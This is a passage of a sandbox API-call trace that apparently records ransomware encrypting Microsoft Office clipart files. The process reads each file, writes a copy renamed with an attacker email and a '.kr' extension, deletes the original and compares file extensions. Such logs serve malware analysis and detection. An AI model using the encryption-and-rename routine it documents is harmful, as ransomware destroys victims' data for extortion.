Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0190.051] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2300) returned 1 [0190.052] CloseHandle (hObject=0x544) returned 1 [0190.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0190.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0190.052] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.052] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0190.053] GetLastError () returned 0x0 [0190.053] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x8fc, lpOverlapped=0x0) returned 1 [0190.120] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x900, lpOverlapped=0x0) returned 1 [0190.121] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.121] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0190.121] SetEndOfFile (hFile=0x520) returned 1 [0190.121] CloseHandle (hObject=0x520) returned 1 [0190.557] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.568] SetEndOfFile (hFile=0x544) returned 1 [0190.571] CloseHandle (hObject=0x544) returned 1 [0190.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.572] lstrlenW (lpString=".doc") returned 4 [0190.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.572] lstrlenW (lpString=".docx") returned 5 [0190.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.572] lstrlenW (lpString=".pdf") returned 4 [0190.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.572] lstrlenW (lpString=".xls") returned 4 [0190.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.572] lstrlenW (lpString=".xlsx") returned 5 [0190.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.572] lstrlenW (lpString=".ppt") returned 4 [0190.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.572] lstrlenW (lpString=".zip") returned 4 [0190.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.572] lstrlenW (lpString=".rar") returned 4 [0190.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.572] lstrlenW (lpString=".bz2") returned 4 [0190.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.572] lstrlenW (lpString=".7z") returned 3 [0190.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".dbf") returned 4 [0190.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".1cd") returned 4 [0190.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".jpg") returned 4 [0190.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".doc") returned 4 [0190.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString=".docx") returned 5 [0190.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.573] lstrlenW (lpString=".pdf") returned 4 [0190.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString=".xls") returned 4 [0190.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.573] lstrlenW (lpString=".xlsx") returned 5 [0190.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.573] lstrlenW (lpString=".ppt") returned 4 [0190.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".zip") returned 4 [0190.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.573] lstrlenW (lpString=".rar") returned 4 [0190.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString=".bz2") returned 4 [0190.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.573] lstrlenW (lpString=".7z") returned 3 [0190.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.573] lstrlenW (lpString=".dbf") returned 4 [0190.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.574] lstrlenW (lpString=".1cd") returned 4 [0190.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0190.574] lstrlenW (lpString=".jpg") returned 4 [0190.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.574] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.574] lstrlenW (lpString="ED00184_.WMF") returned 12 [0190.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0190.574] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6958) returned 1 [0190.574] CloseHandle (hObject=0x544) returned 1 [0190.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0190.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0190.575] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.575] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0190.575] GetLastError () returned 0x0 [0190.576] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0190.577] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1b30, lpOverlapped=0x0) returned 1 [0190.578] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.578] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0190.578] SetEndOfFile (hFile=0x534) returned 1 [0190.578] CloseHandle (hObject=0x534) returned 1 [0190.578] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.578] SetEndOfFile (hFile=0x544) returned 1 [0190.581] CloseHandle (hObject=0x544) returned 1 [0190.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0190.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.582] lstrlenW (lpString=".doc") returned 4 [0190.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString=".docx") returned 5 [0190.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.582] lstrlenW (lpString=".pdf") returned 4 [0190.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString=".xls") returned 4 [0190.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.582] lstrlenW (lpString=".xlsx") returned 5 [0190.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.582] lstrlenW (lpString=".ppt") returned 4 [0190.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.582] lstrlenW (lpString=".zip") returned 4 [0190.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.582] lstrlenW (lpString=".rar") returned 4 [0190.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString=".bz2") returned 4 [0190.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString=".7z") returned 3 [0190.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.582] lstrlenW (lpString=".dbf") returned 4 [0190.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.582] lstrlenW (lpString=".1cd") returned 4 [0190.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString=".jpg") returned 4 [0190.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString=".doc") returned 4 [0190.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString=".docx") returned 5 [0190.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.583] lstrlenW (lpString=".pdf") returned 4 [0190.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString=".xls") returned 4 [0190.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.583] lstrlenW (lpString=".xlsx") returned 5 [0190.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.583] lstrlenW (lpString=".ppt") returned 4 [0190.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString=".zip") returned 4 [0190.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.583] lstrlenW (lpString=".rar") returned 4 [0190.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString=".bz2") returned 4 [0190.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString=".7z") returned 3 [0190.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString=".dbf") returned 4 [0190.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.583] lstrlenW (lpString=".1cd") returned 4 [0190.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0190.584] lstrlenW (lpString=".jpg") returned 4 [0190.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.584] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.584] lstrlenW (lpString="EN00006_.WMF") returned 12 [0190.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.219] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13936) returned 1 [0191.219] CloseHandle (hObject=0x544) returned 1 [0191.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0191.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.219] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.219] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0191.220] GetLastError () returned 0x0 [0191.221] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3670, lpOverlapped=0x0) returned 1 [0191.222] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3680, lpOverlapped=0x0) returned 1 [0191.224] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.224] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.224] SetEndOfFile (hFile=0x534) returned 1 [0191.224] CloseHandle (hObject=0x534) returned 1 [0191.224] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.224] SetEndOfFile (hFile=0x544) returned 1 [0191.227] CloseHandle (hObject=0x544) returned 1 [0191.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0191.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString=".doc") returned 4 [0191.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString=".docx") returned 5 [0191.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.229] lstrlenW (lpString=".pdf") returned 4 [0191.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString=".xls") returned 4 [0191.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.229] lstrlenW (lpString=".xlsx") returned 5 [0191.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.229] lstrlenW (lpString=".ppt") returned 4 [0191.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString=".zip") returned 4 [0191.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.229] lstrlenW (lpString=".rar") returned 4 [0191.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString=".bz2") returned 4 [0191.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString=".7z") returned 3 [0191.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString=".dbf") returned 4 [0191.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString=".1cd") returned 4 [0191.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.229] lstrlenW (lpString=".jpg") returned 4 [0191.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.230] lstrlenW (lpString=".doc") returned 4 [0191.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString=".docx") returned 5 [0191.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.230] lstrlenW (lpString=".pdf") returned 4 [0191.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString=".xls") returned 4 [0191.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.230] lstrlenW (lpString=".xlsx") returned 5 [0191.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.230] lstrlenW (lpString=".ppt") returned 4 [0191.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.230] lstrlenW (lpString=".zip") returned 4 [0191.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.230] lstrlenW (lpString=".rar") returned 4 [0191.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString=".bz2") returned 4 [0191.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.230] lstrlenW (lpString=".7z") returned 3 [0191.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.230] lstrlenW (lpString=".dbf") returned 4 [0191.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.231] lstrlenW (lpString=".1cd") returned 4 [0191.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0191.231] lstrlenW (lpString=".jpg") returned 4 [0191.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.231] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.231] lstrlenW (lpString="FD00074_.WMF") returned 12 [0191.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.232] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17850) returned 1 [0191.232] CloseHandle (hObject=0x544) returned 1 [0191.232] GetFileAttributesW 